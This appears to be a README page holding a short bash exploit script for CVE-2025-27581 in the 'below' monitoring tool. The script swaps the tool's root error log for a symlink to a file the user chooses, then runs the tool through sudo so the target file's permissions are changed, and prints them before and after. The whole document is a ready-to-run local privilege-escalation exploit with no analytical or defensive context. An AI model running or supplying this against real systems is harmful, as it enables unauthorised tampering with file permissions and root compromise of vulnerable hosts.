README.md
Rendering markdown...
#!/bin/bash
#Make sure a path is passed
if [ "$#" -ne 1 ]; then
echo "CVE-2025-27581 exploiter";
echo "Usage: $0 /path/to/file/";
exit 1;
fi
#Check the permissions on the target file
echo "Here's the permissions of your target (before exploit)";
ls -la $1;
# Remove any reference to the old log
root_log_path=/var/log/below/error_root.log;
rm $root_log_path;
# Create the symlink
ln -s $1 $root_log_path;
sudo below debug dump-store --time 1;
echo "New permissions";
ls -la $1;